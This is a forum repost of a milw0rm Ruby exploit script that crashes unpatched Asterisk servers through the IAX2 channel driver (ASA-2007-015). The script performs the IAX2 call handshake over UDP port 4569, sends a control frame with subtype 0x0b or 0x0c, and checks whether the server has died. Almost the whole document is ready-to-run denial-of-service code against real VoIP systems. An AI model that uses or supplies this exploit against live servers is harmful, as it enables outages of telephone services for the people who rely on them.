发新话题
打印

Asterisk < 1.2.22, 1.4.8 IAX2 channel driver Remote Crash Exploit

Asterisk < 1.2.22, 1.4.8 IAX2 channel driver Remote Crash Exploit

复制内容到剪贴板
代码:
#!/usr/bin/env ruby
# author = tenkei_ev
# Script to test chan_iax for the vuln in ASA-2007-015
# Trigger subtypes of 11 or 12 will crash an unpatched server
#
# First establish a call - send new, recv accept, send ack, recv answer, send ack
# Then send IAX2 control packets with subtypes 0x0b or 0x0c that contain an information element
# If asterisk sends an ACK to the trigger, it didn't crash
# If no ACK is read off the socket during the timeout, consider asterisk to be crashed
#
# If any of the expected responses aren't received, asterisk may not crash when sending the trigger
#
# Updated: fix bug in crash detection with patched servers

require 'socket'
require 'timeout'

hostname = nil
trigger_subtype = nil

if(ARGV.length < 2 )
  $stderr.puts "#{$0} <hostname> <Trigger subtype>\r\n"
  exit -1
else
  hostname = ARGV[0]
  if(ARGV[1][0,2] == &#39;0x&#39; || ARGV[1][0,2] == &#39;0X&#39;)
    trigger_subtype = ARGV[1].hex
  else
    trigger_subtype = ARGV[1].to_i
  end
end

t = UDPSocket.new
t.connect(hostname,4569)

puts "[*] Sending NEW #{hostname}"
iax2_new =
    [
      # HEADER
      1 << 15 | 1,  # full-frame bit and source call number
      0,       # retransmit bit and destination call number
      0,       # timestamp
      0,       # outbound stream sequence number
      0,       # inbound stream sequence number - need to reset to 0
      0x06,      # Frame type - IAX2 Control frame
      1,       # IAX2 NEW, C bit unset

      # VERSION IE
      0x0b,
      0x02,
      0x02,
      
      # FORMAT IE
      # trying to match asterisk - ymmv if your asterisk server rejects you,
      # change this to match some codecs asterisk expects
      0x09,
      0x04,
      0xe703,
    ].pack("nnNCCCC CCn CCN")

t.write(iax2_new)

iax2_accept,sender = t.recvfrom(1024)
resp    = iax2_accept.unpack("nnNCCCCCCN")
srccall   = resp[0] & 0x7fff
dstcall   = resp[1] & 0x7fff
timestamp  = resp[2]
oseq    = resp[3]
iseq    = resp[4]
frametype  = resp[5]
subtype   = resp[6]

if(frametype == 6 && subtype == 7)
  puts "[*] ACCEPT received from #{hostname}"
else
  puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"
end

puts "[*] Sending ACK"
iax2_ack =
      [
        1 << 15 | dstcall & 0x7fff,
        0 << 15 | srccall & 0x7fff,
        timestamp.to_i + 1000,
        iseq,
        oseq,
        0x06,          # IAX2 Control frame
        0 << 7 | 0x04 & 0x7f,  # IAX2 ACK
      ].pack("nnNCCCC")

t.write(iax2_ack)

iax2_answer,sender = t.recvfrom(1024)
resp = iax2_answer.unpack("nnNCCCCCCN")
srccall = resp[0] & 0x7fff
dstcall = resp[1] & 0x7fff
timestamp  = resp[2]
oseq    = resp[3]
iseq    = resp[4]
frametype  = resp[5]
subtype   = resp[6]

if(frametype == 4 && subtype == 4)
  puts "[*] ANSWER received from #{hostname}"
else
  puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"
end

puts "[*] Sending ACK"
iax2_ack =
      [
        1 << 15 | dstcall & 0x7fff,
        0 << 15 | srccall & 0x7fff,
        timestamp.to_i + 1000,
        iseq,
        oseq,
        0x06,          # IAX2 Control frame
        0 << 7 | 0x04 & 0x7f,  # IAX2 ACK, C bit unset
      ].pack("nnNCCCC")
      
t.write(iax2_ack)

puts "[*] Sending trigger"
trigger =
    [
      1 << 15 | dstcall & 0x7fff,
      0 << 15 | srccall & 0x7fff,
      timestamp.to_i + 1000,
      iseq,
      oseq,
      0x06,
      trigger_subtype,

      # IE
      0x0b,
      0x02,
      0x02,
      
    ].pack("nnNCCCC CCn ")

t.write(trigger)

begin
  
  timeout_seconds = 2
  
  Timeout::timeout(timeout_seconds) do |tlength|
    while(trigger_ack = t.recvfrom(1024))
      resp = trigger_ack[0].unpack("nnNCCCCCCN")
      srccall = resp[0] & 0x7fff
      dstcall = resp[1] & 0x7fff
      timestamp  = resp[2]
      oseq    = resp[3]
      iseq    = resp[4]
      frametype  = resp[5]
      subtype   = resp[6]
      if((frametype == 6 && subtype == 4) || (frametype == 6 && subtype == 12))
        puts "[!] Asterisk survived"
        exit
      end
    end
  end

rescue Timeout::Error => e
  puts "[!!!] Asterisk died"
rescue ::Exception => e
end

t.close

# milw0rm.com [2007-07-31]

TOP

发新话题